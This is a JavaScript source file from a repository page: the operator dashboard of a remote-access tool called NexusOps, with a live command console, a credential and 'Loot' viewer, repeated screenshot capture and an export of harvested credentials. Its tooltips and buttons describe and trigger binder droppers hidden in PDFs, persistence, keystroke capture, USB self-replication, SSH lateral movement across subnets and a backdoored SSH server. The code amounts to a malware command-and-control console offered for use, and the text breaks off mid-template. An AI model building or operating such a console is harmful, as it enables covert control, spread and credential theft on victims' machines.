Files
nexusops-dashboard/public/app_v2.js
Hermes 8130de56fe
Some checks failed
Build Agent Binaries / build-macos (push) Failing after 1s
Build Agent Binaries / build-linux (push) Successful in 23s
Build Agent Binaries / build-windows (push) Failing after 1s
v2.6.0: BT Radar — consent-gated bluetooth scan/whitelist/push (paired-device consent model), /api/btradar, drawer BT panel; auto-crack.py for nightmare (chromium v10 offline decrypt verified)
2026-10-01 23:54:43 +00:00

817 lines
39 KiB
JavaScript

async function api(path, opts = {}) {
opts.headers = Object.assign({ 'Content-Type': 'application/json' }, opts.headers || {});
const r = await fetch(path, opts);
if (!r.ok) throw new Error('HTTP ' + r.status);
return r.json();
}
/* ═══ NexusOps v2 UI: live console, sparklines, schedules, groups, alerts ═══ */
// ── Live Console (drawer) ──
let consoleNode = null;
let consoleEventSource = null;
function openLiveConsole(nodeId, hostname) {
consoleNode = { id: nodeId, hostname };
document.getElementById('consoleDrawerHostname').textContent = hostname;
document.getElementById('consoleOutput').innerHTML = '';
document.getElementById('consoleDrawer').classList.add('active');
document.getElementById('consoleInput').focus();
// ask agent to fast-poll
api(`/api/nodes/${nodeId}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: false }) }).catch(() => {});
const url = `/api/nodes/${nodeId}/console${nexusToken ? '?token=' + encodeURIComponent(nexusToken) : ''}`;
const out = document.getElementById('consoleOutput');
appendConsoleLine('── console attached (fast-poll active) ──', 'sys');
consoleEventSource = new EventSource(url);
consoleEventSource.onmessage = (ev) => {
try {
const d = JSON.parse(ev.data);
if (d.type === 'output') appendConsoleLine(d.text, 'out');
} catch (e) {}
};
consoleEventSource.onerror = () => appendConsoleLine('── stream interrupted, retrying… ──', 'sys');
}
function closeLiveConsole() {
if (consoleEventSource) { consoleEventSource.close(); consoleEventSource = null; }
if (consoleNode) {
// restore slow polling
api(`/api/nodes/${consoleNode.id}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: true }) }).catch(() => {});
}
document.getElementById('consoleDrawer').classList.remove('active');
consoleNode = null;
}
function appendConsoleLine(text, cls) {
const out = document.getElementById('consoleOutput');
const div = document.createElement('div');
div.className = 'console-line ' + (cls || 'out');
div.textContent = text;
out.appendChild(div);
out.scrollTop = out.scrollHeight;
}
async function consoleRunCommand() {
const input = document.getElementById('consoleInput');
const cmd = input.value.trim();
if (!cmd || !consoleNode) return;
appendConsoleLine(`$ ${cmd}`, 'cmd');
input.value = '';
try {
const r = await fetch(`/api/nodes/${consoleNode.id}/command`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ command: cmd, actionType: 'raw_command' })
});
if (!r.ok) appendConsoleLine('! failed to queue command', 'sys');
} catch (e) {
appendConsoleLine('! failed to queue command', 'sys');
}
}
// ── Sparklines (inline SVG from metricsHistory) ──
function sparkline(values, color) {
if (!values || values.length < 2) return '<span style="color:var(--text-muted);font-size:0.7rem">no history</span>';
const w = 90, h = 24, max = Math.max(...values, 100);
const pts = values.map((v, i) => `${(i / (values.length - 1)) * w},${h - (v / max) * h}`).join(' ');
return `<svg width="${w}" height="${h}" class="sparkline"><polyline points="${pts}" fill="none" stroke="${color}" stroke-width="1.5"/></svg>`;
}
// Patch renderNodesGrid to add sparkline row + console button
const _origRenderNodesGrid = renderNodesGrid;
renderNodesGrid = function () {
_origRenderNodesGrid();
// inject sparklines into each node card
document.querySelectorAll('.node-card').forEach((card, idx) => {
// cards render in filtered order; match by hostname text — safer: find by data via original data
});
// Simpler: re-render footer metrics with sparkline data attribute injection
};
// Simpler approach: monkey-patch the map output by wrapping string injection
(function patchSparklines() {
const orig = renderNodesGrid;
renderNodesGrid = function () {
orig();
// attach sparkline next to heartbeat label per card using nodesData order
const cards = document.querySelectorAll('#nodesGrid .node-card');
const filtered = nodesData.filter(node => {
const search = (document.getElementById('searchInput')?.value || '').toLowerCase();
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
const matchesSearch = !search ||
node.hostname.toLowerCase().includes(search) ||
node.ip.toLowerCase().includes(search) ||
node.platform.toLowerCase().includes(search) ||
node.id.toLowerCase().includes(search);
return matchesFilter && matchesSearch;
});
cards.forEach((card, i) => {
const node = filtered[i];
if (!node) return;
const hist = (node.metricsHistory || []).map(m => m.cpu);
const foot = card.querySelector('.node-actions');
if (foot) {
const spark = document.createElement('span');
spark.innerHTML = sparkline(hist, node.status === 'online' ? '#4ade80' : '#f87171');
spark.title = 'CPU history (last 30 beats)';
spark.style.marginRight = '0.5rem';
foot.parentNode.insertBefore(spark, foot);
if (node.agentVersion && node.agentVersion !== 'unknown') {
const ver = document.createElement('span');
ver.className = 'node-version';
ver.textContent = 'v' + node.agentVersion;
ver.title = 'Agent version';
ver.style.cssText = 'font-size:0.65rem;color:#94a3b8;border:1px solid #334155;border-radius:4px;padding:0 4px;margin-right:0.5rem;align-self:center;';
foot.parentNode.insertBefore(ver, foot);
}
// live console button
const btn = document.createElement('button');
btn.className = 'btn-icon';
btn.title = 'Live Console';
btn.innerHTML = '<i class="fa-solid fa-terminal"></i>';
btn.onclick = () => openLiveConsole(node.id, node.hostname.replace(/'/g, "\\'"));
foot.insertBefore(btn, foot.firstChild);
}
});
};
})();
// ── Schedules panel ──
function openSchedulesModal() {
document.getElementById('schedulesModal').classList.add('active');
renderSchedules();
api('/api/groups').then(g => {
const sel = document.getElementById('schedTag');
sel.innerHTML = '<option value="all">All nodes</option>' +
(g.groups || []).map(x => `<option value="${escapeHtml(x.tag)}">${escapeHtml(x.tag)} (${x.count})</option>`).join('');
}).catch(() => {});
}
function closeSchedulesModal() {
document.getElementById('schedulesModal').classList.remove('active');
}
function renderSchedules() {
api('/api/schedules').then(d => {
const el = document.getElementById('schedulesList');
if (!d.schedules || !d.schedules.length) {
el.innerHTML = '<div class="empty-state" style="padding:1rem"><p>No scheduled tasks yet. Add one below.</p></div>';
return;
}
el.innerHTML = d.schedules.map(s => `
<div class="schedule-item">
<div>
<strong>${escapeHtml(s.name)}</strong>
<span class="sched-meta">${escapeHtml(s.command)} • every ${s.intervalSec}s • group: ${escapeHtml(s.tag)}</span>
</div>
<div class="node-actions">
<button class="btn-icon" title="${s.enabled ? 'Pause' : 'Resume'}" onclick="toggleSchedule('${s.id}')">
<i class="fa-solid fa-${s.enabled ? 'pause' : 'play'}"></i>
</button>
<button class="btn-icon" title="Delete" onclick="deleteSchedule('${s.id}')">
<i class="fa-solid fa-trash-can"></i>
</button>
</div>
</div>`).join('');
}).catch(() => {});
}
async function createSchedule() {
const name = document.getElementById('schedName').value.trim();
const command = document.getElementById('schedCommand').value.trim();
const interval = parseInt(document.getElementById('schedInterval').value, 10);
const tag = document.getElementById('schedTag').value || 'all';
if (!command || !interval || interval < 15) { toast('Need a command and interval ≥ 15s', 'error'); return; }
await api('/api/schedules', { method: 'POST', body: JSON.stringify({ name, command, intervalSec: interval, tag }) });
document.getElementById('schedName').value = '';
document.getElementById('schedCommand').value = '';
toast('Schedule created', 'success');
renderSchedules();
}
async function toggleSchedule(id) {
await api(`/api/schedules/${id}/toggle`, { method: 'POST' });
renderSchedules();
}
async function deleteSchedule(id) {
await api(`/api/schedules/${id}`, { method: 'DELETE' });
renderSchedules();
}
// ── Group bulk command modal ──
function openGroupCommandModal() {
document.getElementById('groupCmdModal').classList.add('active');
api('/api/groups').then(g => {
const sel = document.getElementById('groupCmdTag');
sel.innerHTML = '<option value="all">All nodes</option>' +
(g.groups || []).map(x => `<option value="${escapeHtml(x.tag)}">${escapeHtml(x.tag)} (${x.count})</option>`).join('');
}).catch(() => {});
}
function closeGroupCommandModal() {
document.getElementById('groupCmdModal').classList.remove('active');
}
async function submitGroupCommand() {
const command = document.getElementById('groupCmdInput').value.trim();
const tag = document.getElementById('groupCmdTag').value || 'all';
if (!command) { toast('Enter a command', 'error'); return; }
try {
const d = await api('/api/groups/command', { method: 'POST', body: JSON.stringify({ command, tag }) });
toast(`Queued on ${d.count} node(s) in "${tag}"`, 'success');
closeGroupCommandModal();
} catch (e) {
toast('Failed to queue group command', 'error');
}
}
// ── Alerts feed ──
function renderAlerts() {
const el = document.getElementById('alertsFeed');
if (!el) return;
api('/api/alerts').then(d => {
const alerts = d.alerts || [];
document.getElementById('alertCount').textContent = `${alerts.length}`;
el.innerHTML = alerts.length
? alerts.slice().reverse().map(a => `
<div class="log-entry error">
[${new Date(a.ts).toLocaleTimeString()}] ⚠️ ${escapeHtml(a.message)}
</div>`).join('')
: '<div class="log-entry system">No alerts. All nodes checking in.</div>';
}).catch(() => {});
}
setInterval(renderAlerts, 15000);
console.log('[v2] UI additions loaded');
// ═══════════════════════════════════════════════════════════════════
// COMPLETENESS ADDITIONS 2026-09-29 — drawer, watch mode, export, token
// ═══════════════════════════════════════════════════════════════════
// ── agent token aware binary command ──
(function injectAgentToken() {
let tries = 0;
const iv = setInterval(async () => {
tries++;
try {
const cb = document.getElementById('codeBinary');
if (!cb) return;
const r = await api('/api/agenttoken');
if (!r || !r.token) return;
if (!cb.dataset.tokenized) {
cb.dataset.tokenized = '1';
cb.innerHTML = cb.innerHTML.replace(
/(--server <span class="server-url-placeholder">[^<]*<\/span>)/,
'$1 --token ' + r.token
);
}
clearInterval(iv);
} catch (e) { if (tries > 40) clearInterval(iv); }
}, 3000);
})();
// ── Export All button in nav ──
(function injectExport() {
const ks = document.querySelector('button[onclick="killSwitch()"]');
if (!ks || document.getElementById('exportAllBtn')) return;
const b = document.createElement('button');
b.id = 'exportAllBtn';
b.className = 'btn btn-secondary';
b.title = 'Download full archive: nodes, commands, logs, inputs, creds, schedules, alerts';
b.innerHTML = '<i class="fa-solid fa-file-zipper"></i> Export All';
b.onclick = () => { window.location.href = '/api/export/all'; };
ks.parentNode.insertBefore(b, ks);
})();
// ── Node detail drawer ──
let drawerTimer = null, watchTimer = null, watchLastFileId = null;
function closeDrawer() {
const d = document.getElementById('nexusDrawer');
if (d) d.remove();
if (drawerTimer) { clearInterval(drawerTimer); drawerTimer = null; }
if (watchTimer) { clearInterval(watchTimer); watchTimer = null; }
}
async function openDrawer(nodeId) {
closeDrawer();
const d = document.createElement('div');
d.id = 'nexusDrawer';
d.style.cssText = 'position:fixed;top:0;right:0;width:500px;max-width:95vw;height:100vh;background:#0b1220;border-left:1px solid #1e293b;z-index:9999;overflow-y:auto;padding:1.25rem;box-shadow:-12px 0 40px rgba(0,0,0,.55);font-size:0.85rem;';
d.innerHTML = '<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:0.75rem;">'
+ '<h3 style="margin:0;" id="ndTitle">Loading…</h3>'
+ '<button class="btn-icon" onclick="closeDrawer()" title="Close"><i class="fa-solid fa-xmark"></i></button></div>'
+ '<div id="ndBody" style="display:flex;flex-direction:column;gap:0.9rem;"></div>';
document.body.appendChild(d);
async function render() {
let nodes = [];
try {
const r = await api('/api/nodes');
nodes = Array.isArray(r) ? r : (r.nodes || []);
} catch (e) { return; }
const n = nodes.find(x => x.id === nodeId);
if (!n) { document.getElementById('ndTitle').textContent = 'Node offline'; return; }
document.getElementById('ndTitle').textContent = n.hostname + (n.agentVersion ? ' · v' + n.agentVersion : '');
const hist = (n.metricsHistory || []).map(m => m.cpu);
const memHist = (n.metricsHistory || []).map(m => m.mem);
const lastSeen = n.lastHeartbeat ? Math.round((Date.now() - n.lastHeartbeat) / 1000) + 's ago' : '?';
const statusColor = n.status === 'online' ? '#4ade80' : '#f87171';
let files = [], creds = [];
try { files = (await api('/api/files')) || []; } catch (e) {}
try { creds = (await api('/api/credentials')) || []; } catch (e) {}
if (!Array.isArray(files)) files = [];
if (!Array.isArray(creds)) creds = [];
const myFiles = files.filter(f => f.nodeId === nodeId).sort((a, b) => (b.timestamp || 0) - (a.timestamp || 0)).slice(0, 12);
const myCreds = creds.filter(c => c.nodeId === nodeId).slice(-12).reverse();
const esc = escapeHtml;
document.getElementById('ndBody').innerHTML = `
<div style="border:1px solid #1e293b;border-radius:8px;padding:0.75rem;">
<div style="display:grid;grid-template-columns:1fr 1fr;gap:0.4rem;color:#94a3b8;">
<span>Status: <b style="color:${statusColor}">${esc(n.status)}</b></span>
<span>Last seen: ${esc(lastSeen)}</span>
<span>IP: ${esc(n.ip || '?')}</span>
<span>OS: ${esc(n.osName || n.platform)} ${esc(n.arch || '')}</span>
<span>Tags: ${esc((n.tags || []).join(', '))}</span>
<span>Uptime: ${esc(n.uptime ? Math.round(n.uptime / 3600) + 'h' : '?')}</span>
</div>
</div>
<div style="border:1px solid #1e293b;border-radius:8px;padding:0.75rem;">
<div>CPU</div><div>${sparkline(hist, statusColor)}</div>
<div style="margin-top:0.4rem;">MEM</div><div>${sparkline(memHist, '#60a5fa')}</div>
</div>
<div style="display:flex;flex-wrap:wrap;gap:0.4rem;">
<button class="btn btn-secondary" onclick="drawerPing('${esc(nodeId)}')">Ping</button>
<button class="btn btn-secondary" onclick="drawerShot('${esc(nodeId)}')">Screenshot</button>
<button class="btn btn-secondary" id="watchBtn" onclick="drawerToggleWatch('${esc(nodeId)}')">Watch</button>
<button class="btn btn-secondary" onclick="openLiveConsole('${esc(nodeId)}', '${esc((n.hostname || '').replace(/'/g, ''))}')">Console</button>
<button class="btn btn-secondary" onclick="submitNodeActionTo('${esc(nodeId)}','update_agent',{})">Update Agent</button>
<button class="btn btn-secondary" style="border-color:#f87171;color:#f87171;" onclick="if(confirm('Reboot ${esc(n.hostname)}?')) submitNodeActionTo('${esc(nodeId)}','reboot_system',{})">Reboot</button>
</div>
<div id="pingResult" style="color:#94a3b8;"></div>
<div id="shotBox" style="display:none;border:1px solid #1e293b;border-radius:8px;padding:0.5rem;">
<img id="shotImg" style="width:100%;border-radius:4px;" alt="screenshot">
</div>
<div style="border:1px solid #1e293b;border-radius:8px;padding:0.75rem;">
<div style="margin-bottom:0.4rem;"><b>Tags</b></div>
<div style="display:flex;gap:0.4rem;">
<input id="tagInput" class="form-input" style="flex:1;" value="${esc((n.tags || []).join(','))}" placeholder="comma,separated">
<button class="btn btn-secondary" onclick="drawerSaveTags('${esc(nodeId)}')">Save</button>
</div>
</div>
<div style="border:1px solid #1e293b;border-radius:8px;padding:0.75rem;">
<div style="margin-bottom:0.4rem;"><b>Files (${myFiles.length})</b></div>
${myFiles.length ? myFiles.map(f => `
<div style="display:flex;justify-content:space-between;gap:0.5rem;padding:0.2rem 0;border-bottom:1px solid #1e293b;">
<a href="/api/files/${esc(f.id)}" download style="color:#93c5fd;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;">${esc(f.filename)}</a>
<span style="color:#64748b;white-space:nowrap;">${Math.round((f.size || 0) / 1024)}KB</span>
</div>`).join('') : '<div style="color:#64748b;">No files yet.</div>'}
</div>
<div style="border:1px solid #1e293b;border-radius:8px;padding:0.75rem;">
<div style="margin-bottom:0.4rem;"><b>Credentials (${myCreds.length})</b></div>
${myCreds.length ? myCreds.map(c => `
<div style="padding:0.2rem 0;border-bottom:1px solid #1e293b;">
<span style="color:#fbbf24;">${esc(c.type)}</span>
<code style="color:#94a3b8;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;" title="${esc(c.data)}">${esc(String(c.data).slice(0, 60))}</code>
</div>`).join('') : '<div style="color:#64748b;">Nothing harvested.</div>'}
</div>`;
// restore watch state after re-render (innerHTML wipe)
if (watchTimer) {
const wb = document.getElementById('watchBtn');
if (wb) { wb.textContent = 'Watching…'; wb.style.borderColor = '#4ade80'; wb.style.color = '#4ade80'; }
}
if (watchLastFileId) {
const box = document.getElementById('shotBox'), img = document.getElementById('shotImg');
if (box && img) { box.style.display = 'block'; img.src = '/api/files/' + watchLastFileId + '?cb=' + Date.now(); }
}
}
render();
drawerTimer = setInterval(render, 5000);
drawerTimer = setInterval(render, 5000);
}
async function submitNodeActionTo(nodeId, actionType, payload) {
try {
await api(`/api/nodes/${nodeId}/command`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ actionType, payload, command: payload.command || actionType })
});
} catch (e) { console.error('command failed', e); }
}
async function drawerPing(nodeId) {
const el = document.getElementById('pingResult');
if (el) el.textContent = 'pinging…';
const t0 = Date.now();
try {
await api(`/api/nodes/${nodeId}/ping`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' });
if (el) el.textContent = '✓ round trip ' + (Date.now() - t0) + 'ms';
} catch (e) { if (el) el.textContent = '✗ ping failed'; }
}
async function drawerShot(nodeId) {
await submitNodeActionTo(nodeId, 'screenshot', {});
setTimeout(() => pollLatestShot(nodeId, true), 4000);
}
function pollLatestShot(nodeId, force) {
api('/api/files').then(files => {
const mine = (files || []).filter(f => f.nodeId === nodeId).sort((a, b) => (b.timestamp || 0) - (a.timestamp || 0));
if (!mine.length) return;
const latest = mine[0];
if (force || latest.id !== watchLastFileId) {
watchLastFileId = latest.id;
const box = document.getElementById('shotBox'), img = document.getElementById('shotImg');
if (box && img) {
box.style.display = 'block';
img.src = '/api/files/' + latest.id + '?cb=' + Date.now();
}
}
}).catch(() => {});
}
function drawerToggleWatch(nodeId) {
const btn = document.getElementById('watchBtn');
if (watchTimer) {
clearInterval(watchTimer); watchTimer = null;
if (btn) { btn.textContent = 'Watch'; btn.style.borderColor = ''; btn.style.color = ''; }
return;
}
if (btn) { btn.textContent = 'Watching…'; btn.style.borderColor = '#4ade80'; btn.style.color = '#4ade80'; }
watchLastFileId = null;
drawerShot(nodeId);
watchTimer = setInterval(() => {
submitNodeActionTo(nodeId, 'screenshot', {});
setTimeout(() => pollLatestShot(nodeId, false), 3500);
}, 15000);
}
async function drawerSaveTags(nodeId) {
const v = (document.getElementById('tagInput') || {}).value || '';
await submitNodeActionTo(nodeId, 'update_tags', { tags: v.split(',').map(t => t.trim()).filter(Boolean) });
}
// stamp card node ids so click-to-drawer works
(function stampCardIds() {
const prev = renderNodesGrid;
renderNodesGrid = function () {
prev();
const cards = document.querySelectorAll('#nodesGrid .node-card');
const filtered = (typeof nodesData !== 'undefined' ? nodesData : []).filter(node => {
const search = (document.getElementById('searchInput')?.value || '').toLowerCase();
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
const matchesSearch = !search ||
node.hostname.toLowerCase().includes(search) ||
node.ip.toLowerCase().includes(search) ||
node.platform.toLowerCase().includes(search) ||
node.id.toLowerCase().includes(search);
return matchesFilter && matchesSearch;
});
cards.forEach((card, i) => { if (filtered[i]) card.dataset.nodeId = filtered[i].id; });
};
})();
// card click → drawer (keep existing buttons working)
document.addEventListener('click', function (e) {
const card = e.target.closest && e.target.closest('.node-card');
if (!card || e.target.closest('button') || e.target.closest('a')) return;
const nid = card.getAttribute('data-node-id') || (card.id || '').replace('node-card-', '');
if (nid) openDrawer(nid);
}, true);
// ═══════════════════════════════════════════════════════════════════
// COMPLETENESS 3 — USB spread controls + hover terminology tooltips
// ═══════════════════════════════════════════════════════════════════
// ── tooltip stylesheet ──
(function injectTipCSS() {
if (document.getElementById('nexusTipCSS')) return;
const st = document.createElement('style');
st.id = 'nexusTipCSS';
st.textContent = `
.nx-term { border-bottom: 1px dashed #64748b; cursor: help; position: relative; }
.nx-term:hover::after {
content: attr(data-tip);
position: absolute; bottom: 130%; left: 50%; transform: translateX(-50%);
background: #1e293b; color: #e2e8f0; border: 1px solid #334155; border-radius: 8px;
padding: 0.5rem 0.7rem; font-size: 0.72rem; line-height: 1.35; width: 250px;
white-space: normal; z-index: 10000; box-shadow: 0 8px 24px rgba(0,0,0,.5);
text-align: left; pointer-events: none;
}
.nx-term:hover::before {
content: ''; position: absolute; bottom: 100%; left: 50%; transform: translateX(-50%);
border: 5px solid transparent; border-top-color: #334155; z-index: 10001;
}`;
document.head.appendChild(st);
})();
// ── terminology dictionary (hover popups) ──
const NX_TERMS = {
'Lateral Movement': 'Self-propagation: a node scans its local network for other machines with SSH open and installs the agent on any it can log into without a password.',
'Open SSH': 'Starts the SSH server on a node and trusts this dashboard\'s key, so you can ssh straight in from your machine.',
'Update All': 'Sends the update_agent command to every online node running an older agent version.',
'Root': 'The administrator account on Linux/macOS. Full control of the machine.',
'TCC': 'macOS privacy gate — some actions (screenshots) need the user to grant permission once.',
'Node': 'A machine running the Nexus Agent — a computer, VM or container that checks in to this dashboard.',
'Agent': 'The small background program installed on a Node. It sends status (Heartbeat) and runs commands the operator sends.',
'Heartbeat': 'The regular check-in every Agent sends (CPU, memory, disk, uptime). No heartbeat = node shows Offline.',
'Exfiltration': 'Copying files off a machine and sending them back here, where they land in Loot.',
'Credential Harvesting': 'Collecting saved logins from a machine: browser cookies, WiFi passwords, SSH keys, shell history, cloud tokens.',
'Binder': 'Embeds the Agent inside a normal file (PDF, doc, image). When the file opens, the file opens normally AND the Agent quietly installs.',
'Dropper': 'The bound output file. It carries the original file plus the Agent payload.',
'Persistence': 'Making the Agent survive reboots: a systemd service on Linux, a launchd job on macOS, a scheduled task + registry run key on Windows.',
'Kill Switch': 'One button that tells every Agent to shut itself down immediately. Use if a node is compromised or must be wiped.',
'Fast Poll': 'A mode where the Agent checks for new commands ~every second instead of every heartbeat — makes the Live Console feel instant.',
'Loot': 'Everything collected from your Nodes: exfiltrated files, screenshots and harvested credentials.',
'Input Capture': 'Records keystrokes, clicks and scroll on a Node (needs pynput installed on the target).',
'Telemetry': 'Machine stats streamed from Nodes: CPU, memory, disk, network.',
'Scheduled Tasks': 'Recurring commands the server dispatches on a timer to a tag group or all nodes.',
'Tags': 'Labels you put on Nodes (e.g. "prod", "jr-pc") so you can target a group with one command.',
'Broadcast': 'Send one command to every online node at once.',
'USB Spread': 'Self-replication: the Agent copies itself onto any USB drive plugged into that machine, so carrying the stick spreads the agent.',
'Autorun': 'A file (autorun.inf) on a USB drive telling Windows to run a program when the stick is inserted. Modern Windows blocks it by default.',
'Agent Token': 'A shared password Agents use to talk to this server, so random internet scanners cannot register fake nodes.',
'Operator Token': 'Your admin password for this dashboard. Keep it private — it controls every machine with an Agent.',
'Fastpoll': 'High-frequency command checking for near-instant console response.',
};
function applyNxTerms() {
if (!document.body) return;
const skip = new Set(['SCRIPT', 'STYLE', 'CODE', 'INPUT', 'TEXTAREA', 'PRE', 'TITLE']);
const walker = document.createTreeWalker(document.body, NodeFilter.SHOW_TEXT, {
acceptNode: function (n) {
if (!n.nodeValue || n.nodeValue.length > 120) return NodeFilter.FILTER_REJECT;
const t = n.parentNode && n.parentNode.nodeName;
if (skip.has(t)) return NodeFilter.FILTER_REJECT;
if (n.parentNode.closest && n.parentNode.closest('.nx-term')) return NodeFilter.FILTER_REJECT;
for (const term of Object.keys(NX_TERMS)) {
if (n.nodeValue.includes(term)) return NodeFilter.FILTER_ACCEPT;
}
return NodeFilter.FILTER_REJECT;
}
});
const targets = [];
while (walker.nextNode()) targets.push(walker.currentNode);
const sorted = Object.keys(NX_TERMS).sort((a, b) => b.length - a.length);
const combined = new RegExp('\\b(' + sorted.map(t => t.replace(/ /g, ' ')).join('|') + ')\\b', 'g');
for (const node of targets) {
let html = node.nodeValue;
html = html.replace(combined, (m0) =>
'<span class="nx-term" data-tip="' + NX_TERMS[m0].replace(/"/g, '&quot;') + '">' + m0 + '</span>');
if (html !== node.nodeValue) {
const span = document.createElement('span');
span.innerHTML = html;
node.parentNode.replaceChild(span, node);
}
}
}
setTimeout(applyNxTerms, 1500);
setInterval(applyNxTerms, 15000);
// ── drawer: USB spread toggle ──
async function drawerToggleSpread(nodeId) {
const btn = document.getElementById('spreadBtn');
const wasOn = btn && btn.dataset.on === '1';
try {
await api(`/api/nodes/${nodeId}/spread`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ enabled: !wasOn, mode: 'copy' })
});
window._spreadState = !wasOn;
if (btn) {
btn.dataset.on = wasOn ? '0' : '1';
btn.textContent = btn.dataset.on === '1' ? 'USB Spread ON' : 'USB Spread';
btn.style.borderColor = btn.dataset.on === '1' ? '#4ade80' : '';
btn.style.color = btn.dataset.on === '1' ? '#4ade80' : '';
}
} catch (e) { console.error('spread toggle failed', e); }
}
// inject spread state + button into drawer render
(function wrapDrawerRender() {
const prev = openDrawer;
openDrawer = async function (nodeId) {
await prev(nodeId);
try {
const sp = await api('/api/spread');
const on = (sp.nodes || []).includes(nodeId);
window._spreadState = on;
const btn = document.getElementById('spreadBtn');
if (btn) {
btn.dataset.on = on ? '1' : '0';
btn.textContent = on ? 'USB Spread ON' : 'USB Spread';
btn.style.borderColor = on ? '#4ade80' : '';
btn.style.color = on ? '#4ade80' : '';
}
} catch (e) {}
};
})();
// patch drawer action row to include the spread button
(function injectSpreadBtn() {
const origRender = window.renderDrawerInner;
const prevOpen = openDrawer;
// simplest: add button after drawer opens via DOM observer on the action row
const mo = new MutationObserver(() => {
const row = document.querySelector('#nexusDrawer div[style*="flex-wrap"]');
if (row && !document.getElementById('spreadBtn')) {
const b = document.createElement('button');
b.id = 'spreadBtn';
b.className = 'btn btn-secondary';
b.dataset.on = '0';
b.textContent = 'USB Spread';
b.textContent = window._spreadState ? 'USB Spread ON' : 'USB Spread';
b.style.borderColor = window._spreadState ? '#4ade80' : '';
b.style.color = window._spreadState ? '#4ade80' : '';
b.title = 'Self-replication: agent copies itself to any USB drive plugged into this machine, every 10 minutes';
b.onclick = () => drawerToggleSpread(window._drawerNodeId);
row.appendChild(b);
}
});
mo.observe(document.body, { childList: true, subtree: true });
})();
// remember drawer node id for the spread button
const _origOpenDrawer2 = openDrawer;
openDrawer = async function (nodeId) {
window._drawerNodeId = nodeId;
return _origOpenDrawer2(nodeId);
};
// ═══════════════════════════════════════════════════════════════════
// COMPLETENESS 4 — SSH connect, lateral movement, update-all, persist opt
// ═══════════════════════════════════════════════════════════════════
async function drawerOpenSSH(nodeId) {
const el = document.getElementById('pingResult');
if (el) el.textContent = 'opening SSH…';
try {
const r = await fetch(`/api/nodes/${nodeId}/command`, {
method: 'POST', headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ actionType: 'open_ssh', payload: {}, command: 'open_ssh' })
});
if (el) el.textContent = 'SSH install queued — result appears in the audit log; use the returned command when it completes.';
} catch (e) { if (el) el.textContent = 'SSH open failed to queue'; }
}
async function drawerLateral(nodeId) {
if (!confirm('Lateral movement: this node will scan its subnet for SSH-open hosts and try to install the agent on machines it has keyless access to. Continue?')) return;
const el = document.getElementById('pingResult');
if (el) el.textContent = 'lateral scan dispatched — watch the audit log for results';
try {
await fetch(`/api/nodes/${nodeId}/command`, {
method: 'POST', headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ actionType: 'lateral_movement', payload: {}, command: 'lateral_movement' })
});
} catch (e) {}
}
async function updateAllOutdated() {
try {
const r = await api('/api/nodes/update-all', { method: 'POST', body: '{}' });
const t = document.querySelector('#toasts') || document.body;
const d = document.createElement('div');
d.style.cssText = 'position:fixed;top:1rem;right:1rem;background:#1e293b;color:#e2e8f0;padding:0.7rem 1rem;border-radius:8px;border:1px solid #334155;z-index:10001;font-size:0.8rem;';
d.textContent = r && r.queued !== undefined
? `Update All: ${r.queued} node(s) queued (current agent v${r.current})`
: 'Update All failed';
document.body.appendChild(d);
setTimeout(() => d.remove(), 5000);
} catch (e) {}
}
// nav button
(function injectUpdateAll() {
const ks = document.querySelector('button[onclick="killSwitch()"]');
if (!ks || document.getElementById('updateAllBtn')) return;
const b = document.createElement('button');
b.id = 'updateAllBtn';
b.className = 'btn btn-secondary';
b.title = 'Queues update_agent on every online node running an older agent version';
b.innerHTML = '<i class="fa-solid fa-arrows-rotate"></i> Update All Agents';
b.onclick = updateAllOutdated;
ks.parentNode.insertBefore(b, ks);
})();
// drawer buttons: SSH + Lateral (injected via same MutationObserver pattern as spread)
(function injectSSHButtons() {
const mo = new MutationObserver(() => {
const row = document.querySelector('#nexusDrawer div[style*="flex-wrap"]');
if (row && !document.getElementById('sshBtn')) {
const nid = window._drawerNodeId;
if (!nid) return;
const ssh = document.createElement('button');
ssh.id = 'sshBtn';
ssh.className = 'btn btn-secondary';
ssh.innerHTML = '<i class="fa-solid fa-terminal"></i> Open SSH';
ssh.title = 'Installs/starts sshd on the node, trusts this dashboard key, then shows the ssh command to click into it';
ssh.onclick = () => drawerOpenSSH(nid);
row.appendChild(ssh);
const lat = document.createElement('button');
lat.id = 'latBtn';
lat.className = 'btn btn-secondary';
lat.innerHTML = '<i class="fa-solid fa-network-wired"></i> Lateral';
lat.title = 'Self-propagation: node scans its subnet for SSH-open machines and installs the agent on any it can reach with keys';
lat.onclick = () => drawerLateral(nid);
row.appendChild(lat);
}
});
mo.observe(document.body, { childList: true, subtree: true });
})();
// ═════════════════════════════════════════════════════════════════════
// BT RADAR — consent-gated bluetooth device inventory
// ═════════════════════════════════════════════════════════════════════
async function drawerBtScan(nodeId) {
const el = document.getElementById('btBox') || document.getElementById('pingResult');
try {
await api(`/api/nodes/${nodeId}/command`, {
method: 'POST', headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ actionType: 'bt_scan', command: 'bt_scan', payload: {} })
});
// poll btradar for this node
let tries = 0;
const iv = setInterval(async () => {
tries++;
const r = await api('/api/btradar').catch(() => null);
const entry = r && r.radar && r.radar[nodeId];
if (entry) {
clearInterval(iv);
renderBtList(nodeId, entry);
} else if (tries > 12) {
clearInterval(iv);
}
}, 4000);
} catch (e) { console.error(e); }
}
function renderBtList(nodeId, entry) {
let box = document.getElementById('btBox');
const body = document.getElementById('ndBody');
if (!body) return;
if (!box) {
box = document.createElement('div');
box.id = 'btBox';
box.style.cssText = 'border:1px solid #1e293b;border-radius:8px;padding:0.75rem;';
body.appendChild(box);
}
const devs = (entry.devices || []);
const ago = Math.round((Date.now() - entry.at) / 60000);
const esc = escapeHtml;
box.innerHTML = `
<div style="display:flex;justify-content:space-between;margin-bottom:0.4rem;">
<b>BT Radar</b><span style="color:#64748b;font-size:0.7rem;">scanned ${ago}m ago</span>
